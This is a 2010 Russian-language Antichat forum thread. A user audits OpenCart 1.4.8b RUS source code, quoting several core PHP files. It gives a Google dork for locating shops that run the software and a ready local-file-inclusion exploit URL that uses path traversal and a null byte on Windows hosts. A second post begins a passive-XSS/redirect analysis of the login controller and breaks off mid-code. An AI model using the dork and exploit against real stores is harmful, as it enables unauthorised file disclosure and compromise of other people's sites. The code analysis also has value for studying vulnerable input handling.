ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

04.07.2010, 18:28
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Версия:
OpenCart 1.4.8b RUS 0.1
Магазин: оф. сайт http://myopencart.ru/
В файле в корне config.php интересны константы:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_DRIVER'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_HOSTNAME'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_USERNAME'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_PASSWORD'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_DATABASE'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'opencart'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'oc_'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]/*...*/[/COLOR][/COLOR]
Мб пригодитцо(читалка, блинд посимволу и т.д)
После установки двига если install не удалена, то нет никаких варнингов, а тока упоминаетцо при установке что надо удалить.
Некоторая логика(в файле system/startup.php):
Слешы удаляютцо (когда магические включены) с массивов $_GET, $_POST, $_COOKIE.
Также переменные уничтожаютцо когда rg в on с массивов которые выше зазначены + $_SESSION, $_SERVER, $_FILES .
$_SERVER['REQUEST_URI'] присваиваетцо строка с параметрами если установлена query_string.
подключения с \engine(абстрактные и финальные класы!) и \library(аналогично!)
Объект в этих подключаемых файлах не создаютцо.
Интересный файл request.php:
в конструкторе класа request массивы переприсваиваютцо, а именно: $_GET,$_POST,$_COOKIE,$_FILES, $_SERVER и присваиваютцо определенным свойствам класа.
Ключи и значения преобразовываютцо функцией htmlspecialchars в режиме ENT_COMPAT с 8-битным Unicode, совместимым с ASCII. .
А как известно одинарная кавычка остаетцо бес изменений в ENT_COMPAT, тоесть возвожны уязвимости.
Смотримс далее:
в index.php остальные файлы с \library покдключаютцо (класы), объекты еще не создаютцо.
далее в index.php создаютцо обьекты...
Дорк:
intext:"Работает на: OpenCart"
Такс, хватит воды!
LFI (ось win) system/library/request.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]final class[/COLOR][COLOR="#0000BB"]Request[/COLOR][COLOR="#007700"]{
public[/COLOR][COLOR="#0000BB"]$get[/COLOR][COLOR="#007700"]= array();
public[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"]= array();
public[/COLOR][COLOR="#0000BB"]$cookie[/COLOR][COLOR="#007700"]= array();
public[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]= array();
public[/COLOR][COLOR="#0000BB"]$server[/COLOR][COLOR="#007700"]= array();
public function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]() {
[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]cookie[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]files[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]server[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"];
}
public function[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]) {
if ([/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"])) {
foreach ([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {
unset([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"])] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]);
}
} else {
[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]htmlspecialchars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ENT_COMPAT[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'UTF-8'[/COLOR][COLOR="#007700"]);
}
return[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"];
}
}
[/COLOR][/COLOR]
index.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/
// Front Controller
[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Front[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$registry[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]// Maintenance Mode
[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addPreAction[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/maintenance/check'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#FF8000"]// SEO URL's
[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addPreAction[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/seo_url'[/COLOR][COLOR="#007700"]))
[/COLOR][COLOR="#FF8000"]// Router
[/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'route'[/COLOR][COLOR="#007700"]])) {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'route'[/COLOR][COLOR="#007700"]]);
} else {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/home'[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#FF8000"]// Dispatch
[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]dispatch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"], new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'error/not_found'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#FF8000"]// Output
[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]output[/COLOR][COLOR="#007700"]();
[/COLOR][/COLOR]
system/engine/action.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/
[/COLOR][COLOR="#007700"]public function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$route[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]= array()) {
[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$route[/COLOR][COLOR="#007700"]));
foreach ([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$part[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$part[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]);
continue;
}
if ([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]class[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'Controller'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]preg_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/[^a-zA-Z0-9]/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]/*...*/[/COLOR][/COLOR]
system/engine/front.php
/
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]*...*/
public function[/COLOR][COLOR="#0000BB"]dispatch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"];
foreach ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]pre_action[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$pre_action[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pre_action[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"];
break;
}
}
while ([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]);
}
}
private function[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getFile[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$class[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getClass[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getMethod[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getArgs[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])) {
require_once([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]$class[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]registry[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]is_callable[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]))) {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]call_user_func_array[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]);
} else {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
}
} else {
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
}
return[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"];
}
}[/COLOR][/COLOR]
Мы находимсо в catalog\controller, а "постфикс" надо отбрасывать.
Exploit:
http://localhost/opencart_1.4.8b_rus_0.1/?route=..\..\.htaccess.txt%00
Нулл-байт сработал у мну при mg=on => 1 условие: ОС Win.
|
|
|

05.07.2010, 03:11
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
pXSS в аторизации (часть представления!).
класс Сontroller в system/engine/controller.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/
[/COLOR][COLOR="#007700"]protected function[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Location: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]));
exit();
}
[/COLOR][COLOR="#FF8000"]/*...*/[/COLOR][/COLOR]
controller/account/login.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]class[/COLOR][COLOR="#0000BB"]ControllerAccountLogin[/COLOR][COLOR="#007700"]extends[/COLOR][COLOR="#0000BB"]Controller[/COLOR][COLOR="#007700"]{
private[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]= array();
public function[/COLOR][COLOR="#0000BB"]index[/COLOR][COLOR="#007700"]() {
if ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]customer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]isLogged[/COLOR][COLOR="#007700"]()) {
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=account/account'[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]language[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]load[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'account/login'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]title[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]language[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'heading_title'[/COLOR][COLOR="#007700"]);
if (([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]server[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REQUEST_METHOD'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"])) {
if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]])) {
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]session[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]];
if ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'register'[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=account/create'[/COLOR][COLOR="#007700"]);
}
if ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'guest'[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=checkout/guest_step_1'[/COLOR][COLOR="#007700"]);
}
}
if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]]) && isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]validate[/COLOR][COLOR="#007700"]()) {
unset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]session[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'guest'[/COLOR][COLOR="#007700"]]);
if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'redirect'[/COLOR][COLOR="#007700"]])) {
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'redirect'[/COLOR][COLOR="#007700"]]));
} else {
